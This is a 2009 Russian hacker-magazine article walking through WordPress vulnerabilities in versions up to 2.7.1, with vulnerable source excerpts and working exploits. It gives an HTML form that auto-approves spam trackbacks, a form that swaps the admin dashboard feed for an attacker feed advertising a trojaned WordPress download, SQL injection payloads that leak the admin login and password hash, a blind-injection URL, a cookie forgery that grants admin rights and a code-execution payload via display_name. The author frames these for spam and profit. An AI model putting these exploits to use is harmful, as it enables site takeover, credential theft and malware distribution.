Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English  
Хакер ищет продавцов рекламы Хакер ищет продавцов рекламы
Xakep.ru приглашает стажеров на должность менеджера по работе с клиентами. Резюме присылать по адресу hr@glc.ru....
Анатомия Cryptolocker Анатомия Cryptolocker
Он прост, как автомат Калашникова, но реально опасен. Ведь это он заставил тысячи незадачливых пользователей платить деньги своим создателям и ухитрился поставить на бабки сотрудников полиции Массачусетса (им пришлось покупать биткоины, чтобы расшифровать свои данные)!...

Хакер № 04/09 (124)

WordPress: тест на проникновение. Полный анализ малоизвестных уязвимостей раскрученного движка

Маг (icq 884888, http://wap-chat.ru)


WordPress - без преувеличения, самый популярный движок во всех «интернетах» (по запросу «Powered by WordPress» Гугл выдает 74 400 000 результатов!). Движок писался с расчетом на то, чтобы любая «домохозяйка» смогла им воспользоваться. Так и получилось: знаменитая «5-минутная установка», средства защиты от спама, визуальный редактор, seo-friendly ссылки и многие другие фичи сделали свое дело. Но все ли в порядке у всего этого великолепия с элементарной безопасностью?

В предыдущих номерах ][ я уже не раз поднимал тему безопасности WordPress. Вкратце вернемся к пройденному и систематизируем твои знания.

Итак, последняя мало-мальски серьезная SQL-инъекция была найдена в 2.2.2 версии движка 28 июля далекого уже 2007 года неким Alexander Concha (не повезло человеку с фамилией). Не будем подробно на ней останавливаться, но если ты интересуешься историей, смотри ссылку на advisory в сносках.

Идем далее. Во всех версиях движка, до 2.3.3 версии включительно, присутствует XSS-уязвимость в модуле фильтрации html kses (вспомнить о ней тебе поможет, например, январский номер журнала). Уязвимость можно было бы считать достаточно серьезной, если бы не одно но: админу надо нажать на ссылку с очень подозрительным адресом, что произойдет, только если админ – полный «чайник».

Стоит упомянуть о нашумевшей в свое время уязвимости «Charset Remote SQL Injection» (версии <=2.3.3), которую я считаю псевдо-уязвимостью. Почему? Потому что в настройках блога искусственно должна быть выставлена кодировка MySQL «GBK» либо «BIG5». А такого счастливого совпадения я ни разу не встречал за всю свою многолетнюю практику работы с движком.

Еще одна презабавнейшая бага – «WordPress <=2.3.2 'xmlrpc.php' Post Edit Unauthorized Access Vulnerability» (читай о ней в одном из прошлогодних «FAQ United»), которая позволяет пользователям с правами «subscriber» редактировать посты других пользователей. Все бы хорошо, если бы посты не сваливались в «draft», то есть – неопубликованные черновики. Так что, оставим эту багу для истории.

Говоря о 2.3.x ветке, нельзя не упомянуть о баге «WordPress 'cat' Parameter Directory Traversal Vulnerability», о которой я также рассказывал в FAQ. Бага удивительна своей простотой, но использование омрачает тот факт, что работает она только на Windows-платформах. Последняя достойная внимания уязвимость - это «SQL Column Truncation (Admin Takeover)», почитать о которой ты сможешь в моей прошлогодней статье «Неслучайные числа». Замечу, что пользоваться ей крайне тяжело, ведь сгенерировать две rainbow таблицы по 40 и 80 Гб соответственно (ну, или подождать 2-4 дня), необходимых для работы эксплойта не каждому под силу.
«Это и все?» - удивишься ты. Нет, дорогой читатель. Пришла пора рассказать тебе о не до конца описанных, малоизвестных, либо совсем неизвестных уязвимостях.

WordPress Comments Html Spam Vulnerability

Перед тобой первая неопубликованная уязвимость, которую я назвал «WordPress Comments Html Spam Vulnerability». Уязвимость затрагивает все версии движка, начиная от 1.5 и заканчивая последней (на момент написания статьи) 2.7.1.

Заглянем в исходники вордпресса. Открывай файл ./wp-includes/comment.php и находи следующий код:

function check_comment($author, $email, $url, $comment, $user_ip, $user_agent, $comment_type) {
...
if ( 'trackback' == $comment_type || 'pingback' == $comment_type ) { // check if domain is in blogroll
$uri = parse_url($url);
$domain = $uri['host'];
$uri = parse_url( get_option('home') );
$home_domain = $uri['host'];
if ( $wpdb->get_var($wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT 1", '%'.$domain.'%')) || $domain == $home_domain )
return true;
else
return false;
}
...
}

В чем смысл этого кода?

  1. Блог «смотрит» на URL трэкбека, парсит его с помощью parse_url (подробно о том, что такое Trackback, смотри в моей прошлогодней статье «Спамом по вебу»).
  2. Если хост трэкбэка присутствует в блогролле (сборник ссылок на твоем блоге), то функция check_comment() вернет true.
  3. Если комментарий успешно проходит через check_comment(), то сразу начинает отображаться под постом. Ежели нет - должен пройти премодерацию.

В этом занимательном коде есть один нюанс. Разработчики WordPress просто-напросто не знают, как работает функция parse_url.
Цитата с http://www.php.net/parse_url: «This function is not meant to validate the given URL».

Эти слова подразумевают, что parse_url() элементарно не проверяет валидность переданного адреса! Мы можем передать в нее что-то вроде «http://%/suck_wordpress», в результате чего переменная $uri['host'] станет равной «%».

Далее, как ты уже догадался, наш evil-хост переместится в sql-запрос, который примет следующий вид:

"SELECT link_id FROM wp_links WHERE link_url LIKE '%%%' LIMIT 1"

Так как этот запрос всегда будет возвращать true, наш спам-комментарий априори будет считаться зааппрувленным :). Но и это еще не все! Для работы с трекбеком используется файл ./wp-trackback.php, в котором наше тело комментария ($excerpt) попадает в такую функцию:

function wp_html_excerpt( $str, $count ) {
$str = strip_tags( $str );
$str = mb_strcut( $str, 0, $count );
// remove part of an entity at the end
$str = preg_replace( '/&[^;\s]{0,6}$/', '', $str );
return $str;
}

Казалось бы, передать ссылку здесь невозможно. Но нерадивые разработчики снова не учли несколько нюансов:

  1. strip_tags() успешно пропускает через себя теги вроде «< br / >» (то есть, содержащие пробелы);
  2. kses фильтры успешно нормализуют html-теги, содержащие в себе эти самые пробелы.

Исходя из этой информации, можно придумать конечный эксплойт:

<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>

Где в поле «Comment» вставляем:

< b >< a href="http"//ya.ru">Купить слона< / a >< / b >

В итоге, на нужном блоге мы получим зааппрувленный комментарий с выделенной жирной ссылкой «Купить слона». Единственное замечание: этот способ в SEO годен только для Yahoo, Яндекса, MSN, так как в коде ссылки добавляется rel="nofollow", благодаря которому всемогущий Гугл не засчитывает ссылку.

Подмена RSS-фидов в Dashboard

В конце прошлого года я нашел еще один занимательный баг в WordPress, который заключался в подмене RSS-лент на главной странице админки блога.
Итак, в Dashboard содержатся следующие ленты новостей: новости плагинов, incoming links, новости devblog c wordpress.org и новости «Планеты WordPress».
Начиная с версии 2.5, к каждому фиду прикреплена кнопочка «Edit», что позволяет администратору блога редактировать эти пресловутые фиды, заменяя их на любые свои. Но разработчики снова проморгали тот факт, что в функции редактирования фидов не существует никакой проверки прав (в который раз поражаюсь невнимательности девелоперов).

Теперь смотри. Скопируй ленту новостей с девблога официального сайта вордпресса, затем вставь в нее в качестве первого поста объявление о security-патче (или просто новой версии) блога. В посте (естественно, в ссылке на скачку) укажи свой протрояненный дистрибутив вордпресса.
Затем положи подготовленный фид на какой-нибудь сервер и используй этот html-код для подмены рсс-ленты девблога на свою:

<form action="http://lamer.com/wp265/wp-admin/" method="post">
<input name="widget-rss[1][url]" type="text" value="http://ссылка_на_наш_evilrss.com/feed.xml" />
<input name="widget-rss[1][title]" type="text" value="Заголовок рсс" />
<input name="widget-rss[1][items]" value="сколько показывать постов в рсс" />
<input name="widget-rss[1][show_summary]" type="checkbox" value="1" checked="checked"/>
<input name="widget-rss[1][show_author]" type="checkbox" value="1" />
<input name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget-rss[1][submit]" value="1" />
<input type='hidden' name='sidebar' value='wp_dashboard' />
<input type='hidden' name='widget_id' value='dashboard_primary' />
<input type='submit' value='Save' />
</form>

В итоге, ты увидишь на главной странице админки блога свой evil-rss :). Ах да, для использования этой уязвимости необходимы:

  1. Открытая регистрация на блоге;
  2. Версии движка от 2.5 до 2.6.5 включительно.

Эти забавные пинги. Часть 1

Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз на технологии Pingback и Trackback. Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2 (!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и с правами author/editor (WordPress MU also affected).

Для наглядности возьмем подопытный движок за номером 2.3.3. Открывай ./wp-includes/post.php и находи в нем код:

function add_ping($post_id, $uri) { // Add a URL to those already pung
global $wpdb;
$pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id");
$pung = trim($pung);
$pung = preg_split('/\s/', $pung);
$pung[] = $uri;
$new = implode("\n", $pung);
$new = apply_filters('add_ping', $new);
return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id");
}

Небольшие раскопки дают понять, что фильтра «add_ping» не существует в коде движка. Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации!

А теперь о способе эксплуатации данной уязвимости. Запасись терпением :). Чтобы использовать баг, тебе необходимо две инсталляции вордпресса:

1. Все равно какой версии. Создай новый пост с любым тайтлом и содержимым:

<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>

Запомни адрес созданного поста (например, http://lamer/wp1/?p=2).

2. Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле «Send trackbacks to:» пиши:

test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered ='blah

Сохраняй пост. Снова заходи в его редактирование, но теперь редактируй само содержимое и вставляй туда ссылку в html-формате на пост из первого блога:

<a href="http://lamer/wp1/?p=2">pingme</a>

Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа.

Эти забавные пинги. Часть 2

Вторая SQL-инъекция присутствует в механизме трэкбэков и выглядит уже не так ужасно. Открывай файл ./wp-includes/comment.php и находи в нем код:

function do_trackbacks($post_id) {
...
$to_ping = get_to_ping($post_id);
...
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'");
}
}
}
}

Здесь мы наблюдаем ту же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации. Использовать эту SQL-инъекцию очень просто.

1. Создавай новый пост и в «Send trackbacks to:» вставляй следующее:

test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah

2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда тот же самый код;

3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа.

Коварный parse_str

Не могу не поделиться с тобой еще одной забавной SQL-инъекцией, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права «manage_links». Для теста снова возьмем WordPress 2.3.3.

Итак, открывай ./wp-admin/link-manager.php. В этом файле присутствует следующий код:

get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" );

Начиная от этого кода, попробуем провести небольшой реверсинг:

./wp-includes/bookmark.php

function get_bookmarks($args = '') {
...

$r = wp_parse_args( $args, $defaults );
extract( $r, EXTR_SKIP );
...
if ( ! empty($category_name) ) {
if ( $category = get_term_by('name', $category_name, 'link_category') )
$category = $category->term_id;
}
...

./wp-includes/formatting.php

function wp_parse_args( $args, $defaults = '' ) {
if ( is_object($args) )
$r = get_object_vars($args);
else if ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );

if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
else
return $r;
}
function wp_parse_str( $string, &$array ) {
parse_str( $string, $array );
if ( get_magic_quotes_gpc() )
$array = stripslashes_deep( $array );
$array = apply_filters( 'wp_parse_str', $array );
}

./wp-includes/taxonomy.php

function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
...
} else if ( 'name' == $field ) {
// Assume already escaped
$field = 't.name';
...
$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");

На этот раз разработчики WordPress не учли, что:

  1. Функция parse_str проводит свои параметры через urldecode, а значит, какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно проводит наши данные через stripslashes);
  2. В get_bookmarks() мы сможем передать дополнительные параметры для parse_str с помощью амперсанда (%26 в urlencode).

Отсюда, как логичный вывод, следует blind sql-инъекция:

http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527
+union+select+1,2,3,4,5,6,7,8,9,10
+from+wp_users+where+1=1/*&order_by=order_url&action=Update+%C2%BB

Условия здесь такие:

  • а) 1=1 - ничего не отображается;
  • б) 1=2 - отображается список ссылок блога.

Wordpress 2.5 Cookie Integrity Protection Vulnerability

Еще одна интереснейшая логическая уязвимость, которой уделили недостаточно внимания, – это «Cookie Integrity Protection Vulnerability». Ей подвержен WordPress 2.5. В официальном advisory насчет реальной эксплуатации баги сказано мало и не совсем понятно, – так что многие до сих пор у меня интересуются, как ее использовать.
Суть баги достаточно проста: начиная с версии 2.5, в WordPress появилась новая система авторизации и хранения паролей, которую до конца еще не успели отладить. Для авторизации на блоге используется следующая схема формирования кукисов:

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . MAC

Расшифровка этих непонятных символов элементарна:

  • COOKIEHASH - md5 хеш URL'а сайта, где установлен движок;
  • USERNAME - логин авторизуемого юзера;
  • EXPIRY_TIME - время истечения жизни кукисов;
  • MAC - злостное сочетание из HMAC-кода, полученного на основе имени юзера и времени жизни кукисов, а также секретных ключей из конфига и БД.

Если ты еще не понял, то скажу тебе, что проблема заключается как раз в способе конкатенации этих значений.
А теперь внимание, – способ эксплуатации уязвимости:

1. Регистрируй юзера с именем «admin99»;

2. Авторизуйся на блоге;

3. Отредактируй свои кукисы (в Опере: Инструменты -> Дополнительно -> Редактирование cookies) следующим образом:

Было:

wordpress_[ХЕШ] = admin99|время|MAC

Стало:

wordpress_[ХЕШ] = admin|99время|MAC

В итоге, с новыми кукисами ты благополучно авторизуешься с правами админа.

Wordpress 2.7.x admin remote code execution exploit

Выполнение произвольного кода в админке через create_function (баг нашел некий Ryat[puretot]) - еще одна интересная уязвимость, почему-то оставшаяся не только без внимания хакеров, но и без внимания разработчиков!

Эксплойт к ней появился еще в версии 2.7, но в последнем вордпрессе (сейчас - 2.7.1) дыра по-прежнему не закрыта. Проведем небольшой аудит кода ./wp-admin/post.php:

if ( current_user_can('edit_post', $post_ID) ) {
if ( $last = wp_check_post_lock( $post->ID ) ) {
$last_user = get_userdata( $last );
$last_user_name = $last_user ? $last_user->display_name : __('Somebody');
$message = sprintf( __( 'Warning: %s is currently editing this post' ), wp_specialchars( $last_user_name ) );
$message = str_replace( "'", "\'", "<div class='error'><p>$message</p></div>" );
add_action('admin_notices', create_function( '', "echo '$message';" ) );
} else {
wp_set_post_lock( $post->ID );
wp_enqueue_script('autosave');
}
}

Из анализа этого кода видно, что юзер с правами «edit_post» может провести инъекцию произвольного кода следующим образом:

1. Сменить значение «display_name» на что-то вроде \';phpinfo();\'. В результате переменная $message будет выглядеть так:

Warning: \';phpinfo();\' is currently editing this post

2. Когда $message пройдет stripslashes и попадет в create_function(), создастся функция с таким вот интересным телом:

{
echo '<div class='error'><p>';phpinfo();'</p></div>';
}

Как видишь, налицо банальный code exec. Ссылку на эксплойт ищи в сносках. Добавлю, что эксплойт предназначен для юзера с правами admin, но, немного подумав, ты сможешь исправить его для работы с правами author/editor.

Итоги

Жесткие рамки статьи не позволяют рассказать обо всех найденных мной и другими людьми уязвимостях WordPress, но я этого и не хочу :). Описанные тут уязвимости – лишь верхушка айсберга. Существуют гораздо более серьезные и полезные баги во всех, даже самых последних, версиях движка. Эти баги не только стоят множество зеленых президентов, но и позволяют безбедно жить на поприще SEO. Поэтому могу лишь пожелать разработчикам вордпресса оставаться такими, какие они есть: невнимательными и забавными в своей простоте.

Ссылки по теме

Содержание  


ВИДЕО К ЭТОМУ НОМЕРУ

Пропуск на корпоратив
В этом ролике мы настроим решение Kaspersky Enterprise Space Security, предназначенное для защиты рабочих станций и серверов...

Черный квадрат
Действительно ли все отладочные средства настолько тривиальны, что могут заинтересовать только заядлых системщиков и тех, кто вынужден "разгребать" двоичный код по роду занятий?...

Звездное попурри
Asterisk - это еще и необычайно гибкая система, предоставляющая широкое поле для творчества. Немного фантазии, и можно реализовать практически любую функцию...

Играем бесплатно
Скачиваемые мини-игры победно шествуют по миру развлечений, много людей играют в них, но... Они стоят денег! Система триала у них такая: 60 минут халявы, за все остальное отправляй смс-ку. Стоит смс-ка 3$, что не есть гуд...





Предыдущие номера


Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни редакция не несут ответственности в случае ее использования в противозаконных целях.

    Rambler's Top100